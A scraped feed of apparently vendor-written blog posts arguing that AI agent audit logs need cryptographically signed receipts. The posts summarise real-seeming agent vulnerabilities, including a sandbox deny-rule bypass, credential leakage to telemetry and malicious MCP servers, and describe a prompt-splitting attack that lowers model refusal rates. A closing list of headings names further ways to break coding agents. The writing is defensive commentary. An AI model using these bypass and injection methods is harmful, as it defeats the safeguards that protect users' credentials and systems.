The Post-Patch Problem

Every one of these vulnerabilities follows the same arc:

A scanner or researcher finds the bug
A CVE is assigned
A patch ships
Everyone upgrades (eventually)
Nobody can prove what happened before the patch, or that the system behaves correctly after it

The Chainlit advisory recommends EDR monitoring for "anomalous process lineage where the Chainlit Python process spawns interactive shell interpreters." That's detection. It works by flagging anomalies after they happen. It produces false positives. It requires a human analyst to investigate.

But when your security team asks "did an agent execute an unauthorized tool call between the vulnerability being introduced and the patch being deployed," detection-based logs can't answer that with certainty. The logs were produced by the same runtime that was compromised. A compromised runtime can modify, delete, or fabricate log entries.

This is not a Chainlit-specific problem. It's structural to every AI agent deployment:

Application logs are writable by the application. If the application is compromised, the logs are compromised.
SIEM forwarding assumes the host producing the logs is trustworthy. A compromised host can forward plausible-but-false events.
Audit trails stored in the same database as the runtime data can be silently altered by anyone with database access.

The common phrase is "tamper-evident audit log," but most implementations are tamper-detectable only against external modification after the fact. They don't protect against a compromised runtime producing valid-but-false entries in the first place.

What Cryptographic Evidence Changes

A different approach: every agent tool call produces an Ed25519-signed receipt over RFC 8785 canonical JSON. The signing key lives outside the agent process — in a sidecar that the agent can communicate with but cannot read the key from.

Each receipt binds:

The action identity (what tool was called)
SHA-256 hashes of canonical input and output
Caller identity
Timestamp with issued-at/expiry window
The hash of the previous receipt, forming a chain

The chain property means you can't silently truncate the log — the head hash won't match. The sidecar key isolation means a compromised agent runtime can't forge receipts for actions that didn't happen, because it can't access the signing key. It can't rehash the chain because it doesn't hold the key.

This is structurally different from detection:

	Detection	Verification
Mechanism	Pattern matching, anomaly scoring	Ed25519 signature over canonical JSON
False positives	Inherent	None — a receipt is either valid or invalid
Compromised runtime	Can manipulate logs	Cannot forge signatures without the key
Evidence type	"This looks anomalous"	"This action happened, with these inputs and outputs, signed by a key the runtime can't access"
Performance	Varies with ruleset	P50 ~27 microseconds end-to-end (Python, including signing)

The sidecar doesn't make the runtime uncompromisable. It doesn't independently verify event semantics — if a compromised orchestrator hands it a fabricated human-approval event, it signs because it can't know the human didn't actually approve it. That's a confused deputy, and the honest boundary is: key isolation plus chain integrity, not dishonest-runtime defense.

What it does guarantee is that after the fact, you have a sequence of receipts that:

Can't be silently modified (signature breaks)
Can't be silently truncated (chain breaks)
Can't be forged by the agent runtime alone (key isn't in the process)

For the post-CVE question — "what did our agents actually do during the exposure window?" — that's the difference between a log entry and evidence.

The Scanner Gap

Tools like SplxAI's agentic-radar (1,000+ stars), SecureAI-Scan, and mcpscan find vulnerabilities before they're exploited. That's necessary and valuable. But scanning is point-in-time. The scan runs, finds issues, you fix them. Between scans, there's no continuous record.

The complementary layer is runtime verification: signed receipts produced on every tool call, independently verifiable, forming a chain that can't be altered by the system being monitored. A scanner tells you what could go wrong. A receipt tells you what did happen, with cryptographic certainty.

We built this as an open-source verifier: ccs-verifier, 157 tests, zero dependencies. The conformance test vectors are MIT-licensed if you're building or evaluating a receipt format and want cross-implementation fixtures.

This isn't a replacement for patching CVEs. Patch CVE-2026-45018 today. But after you patch, the question "are we sure nothing happened during the exposure window" needs evidence the runtime can't produce about itself.

Guigui Wang builds runtime verification for agent systems at Correctover. The ccs-verifier is open source on PyPI.

Claude Code Fixed 6 Security Bugs in August. Your Agent's Audit Log Still Can't Prove a Thing.

correctover — Wed, 26 Aug 2026 03:48:57 +0000

Claude Code Fixed 6 Security Bugs in August. Your Agent's Audit Log Still Can't Prove a Thing.

August 2026 was a busy month for Anthropic's security team. In the span of three weeks, Claude Code shipped:

v2.1.236: Closed a sandbox rename bypass where **/.env deny rules could be evaded by renaming the denied file inside an allowed read region.
v2.1.238: Isolated headersHelper in .mcp.json so MCP helper scripts no longer run with your credentials, and fixed unbounded memory growth.
v2.1.243: Fixed missing sandbox network violation details — a blocked curl that exited 0 would report success while a proxy 403 page was silently swallowed.
v2.1.246: Fixed a credential scoping bug where API keys configured for third-party gateways (ANTHROPIC_BASE_URL) were being sent to Anthropic on every telemetry and metrics call. Also added warnings for Bash allow rules with wildcards before the subcommand.

These are real, serious fixes. The credential scoping bug alone meant teams routing Claude Code through a company LLM gateway were leaking that gateway's key to a second host on every telemetry request.

But look at the pattern. Every one of these fixes is a patch for a specific vulnerability. None of them address the structural problem underneath:

When an AI agent takes an action, the only record of that action is produced by the agent itself.

The self-attestation gap

Here is what a typical agent audit log looks like in 2026:

{
  "timestamp": "2026-08-25T14:32:01Z",
  "action": "bash",
  "command": "git push origin main",
  "user_approved": true,
  "exit_code": 0
}

This log entry is generated by the agent runtime. It is stored by the agent runtime. It is signed by nobody. If the runtime is compromised — by a malicious MCP server, a sandbox escape, a prompt injection that manipulates the agent's own logging logic, or a credential scoping bug like the one fixed in v2.1.246 — the log can say anything.

This is not theoretical. In August alone:

A malicious npm package (filesystem-pro-plus) compromised 47 organizations including 3 YC companies and a foundation model lab, by distributing a weaponized MCP server through typosquatting.
RufRoot (CVE-2026-59726, CVSS 10.0) affected a 67,000-star MCP framework with 10 million downloads, exposing 233 tools with zero authentication to remote code execution.
Microsoft UFO (GHSA-24fq-m9rr-g3mm, CVSS 9.4) allowed zero-authentication remote control of Android devices through MCP.
The GhostSplice attack showed that splitting a single malicious instruction across multiple prompts drops model refusal rates from 58% to 18%.

After patching each of these, how do you prove that a specific agent action at a specific time was authorized and untampered? You can't — not from the agent's own logs.

Detection vs. verification

The industry's default response has been detection: scan MCP servers for vulnerabilities, flag suspicious behaviors, apply policy engines to tool calls. These are necessary but insufficient.

Detection operates on heuristics. It produces false positives. It can be bypassed — Trail of Bits demonstrated in June 2026 that every AI agent skill scanner they tested could be evaded. A detector that can be bypassed is a speed bump, not a guarantee.

Verification is different. Verification uses cryptography to produce evidence that cannot be forged by the agent itself.

What a signed receipt looks like

Instead of a self-attested log entry, imagine each tool call produces a receipt like this:

{
  "receipt_version": "1.0",
  "action_id": "act_8f3a2c1d",
  "action_type": "bash",
  "caller_identity": "agent:claude-code-v2.1.246",
  "input_hash": "sha256:b94d27b9...",
  "output_hash": "sha256:a3f5c8e1...",
  "timestamp": "2026-08-25T14:32:01.234Z",
  "prev_receipt_hash": "sha256:7c2e1f9a...",
  "policy_digest": "sha256:d4a7b2c0...",
  "signature": "Ed25519:f8a3c2..."
}

Key properties:

Ed25519 signature (RFC 8032) over RFC 8785 canonical JSON — the signing key is held outside the agent process, in a sidecar or hardware module, so a compromised agent cannot forge signatures.
Input/output hashes bind the receipt to exactly what was executed and what came back — you can't alter the command or the result after the fact.
Previous receipt hash creates a hash chain — deleting or reordering a receipt breaks the chain and is immediately detectable.
Policy digest binds the action to the exact policy version that authorized it — when Anthropic ships v2.1.247 with new permission rules, you know which policy each action was evaluated against.
Zero false positives — a receipt either verifies against the known public key and chain, or it doesn't. There's no "anomaly score" or heuristic threshold.

The verifier that checks these receipts is pure Python, zero dependencies, 157 tests, and verifies a receipt end-to-end at P50 ~27 microseconds. It runs on every tool call without meaningful latency.

Why this matters after the patch

When you update to Claude Code v2.1.246 and the credential scoping bug is fixed, you still don't have an answer to:

Did every tool call between discovering the bug and patching it use credentials correctly? The agent's log says yes. Who signs that log?
After patching, how do you prove to an auditor that no unauthorized action occurred? You produce self-attested logs from the same runtime that had the bug.
When the next CVE drops (and it will — there have been 6+ in August alone), how do you establish a non-repudiable record of what happened before, during, and after?

Signed receipts don't prevent vulnerabilities. They provide something the current architecture fundamentally lacks: evidence independent of the system being audited.

Try it

The conformance test suite is MIT-licensed and includes 10 test vectors with a ~15-line independent verifier, so you can validate the receipt format without trusting any implementation:

→ github.com/DSHCorrectover/ccs-conformance-vectors

The Python verifier is on PyPI:

pip install ccs-verifier

The Node.js runtime:

npm install correctover

The policy-enforcing proxy that holds the signing key outside the agent process is a separate commercial offering. The receipt format, the verifier, and the conformance vectors are open and will remain open — because an evidence format you can't independently verify isn't evidence.

Correctover builds runtime verification for agent systems. The open-source CCS verifier produces Ed25519-signed receipts over JCS canonical JSON for every agent tool call, creating tamper-evident audit chains that don't rely on agent self-attestation.

DEV Community: correctover

Agent 安全不是单一赛道：三条技术边界的工程纪律

1. 三条边界

2. 入站内容防御：CAITLYN 的工程纪律

3. 供应链完整性：AgentSecCore 的边界

4. 出站执行验证：Correctover CCS 的边界

5. 三条边界之间的工程对话

6. 对 Correctover 自身的要求

7. 术语与事实锚点

Your agent sandbox is a physical exam, not a black box: dynamic analysis can't be the last word in agent security

What dynamic detonation gets right

Boundary 1: coverage is an arms race, not a one-time build

Boundary 2: slow and expensive — a deployment gate, not a runtime gate

Boundary 3: honeypot behavior is not production behavior

"OS-level logs can't be faked" — they can

What an agent black box actually looks like

Use both — they do different jobs

The exam does not replace the recorder

A PreToolUse security gate for Kimi Code: block live secrets, plaintext MCP, and SSRF before they hit disk

How Kimi Code hooks work (60-second version)

What the hook does

Test matrix: 8 scenarios, all behaving as expected

Install

The honest limits

Why this matters now

We scanned open-source finance MCP servers — here are the four ways API tokens leak

How we scanned

What the numbers look like

Pattern 1: The token goes out over plaintext HTTP

Pattern 2: The token gets logged to stdout

Pattern 3: Access-Control-Allow-Origin: * on a streamable-http transport

Pattern 4: The server binds to all interfaces with no Host allowlist

A pre-release checklist for MCP authors

Try it on your own MCP

Disclaimer

You can run a security scanner without shipping your source code anywhere

The constraint: the bytes must never leave the machine

How a CLI scanner becomes a browser scanner

Mapping to a standard instead of inventing one

Why this changes the workflow

Try it, and watch the Network tab

Valid provenance is not valid code: a supply-chain worm shipped with a valid SLSA attestation

What the attestation actually attests

Two layers the receipt doesn't cover

What we built (and what we refuse to claim)

The practical takeaway

Code in the AI age needs a birth certificate (and ours is publicly verifiable)

What "proof" actually requires

The three commands

The real anchor (you can check it right now)

One honest technical wrinkle

What this does NOT prove

Why now

AIR Security Raises $50M: What Automated Vetting Solves — and What It Can't Yet

A supply chain nobody is watching

What the automated layer actually solves

Where automation structurally stops

Make your component cheap to audit

Where we fit

Your Agent Has Tools Now: Why MCP Tool Calls Need Runtime Verification

Four ways tool calls go wrong

Why static configuration scans aren't enough

What runtime verification should check

Try it in 30 seconds

The spec, and what we're asking for

Three AI Coding Agents, Three Ways to Break Them, and One Thing Detection Will Never Give You

Three AI Coding Agents, Three Ways to Break Them, and One Thing Detection Will Never Give You

Claude Code: The Single-Quote Strip

Gemini CLI: The Auto-Trusted .env File

OpenAI Codex: The AGENTS.md Handoff

The Pattern: Trust Handoff Failure

What Detection Cannot Give You

ccs-verifier and Conformance Vectors

Chainlit Fixed a CVSS 9.8 RCE. The Post-Patch Problem Is Worse.

Chainlit Just Fixed a CVSS 9.8 RCE. The Post-Patch Problem Is Worse.

The Post-Patch Problem

What Cryptographic Evidence Changes

The Scanner Gap

Claude Code Fixed 6 Security Bugs in August. Your Agent's Audit Log Still Can't Prove a Thing.

Claude Code Fixed 6 Security Bugs in August. Your Agent's Audit Log Still Can't Prove a Thing.

Pattern 3: `Access-Control-Allow-Origin: *` on a streamable-http transport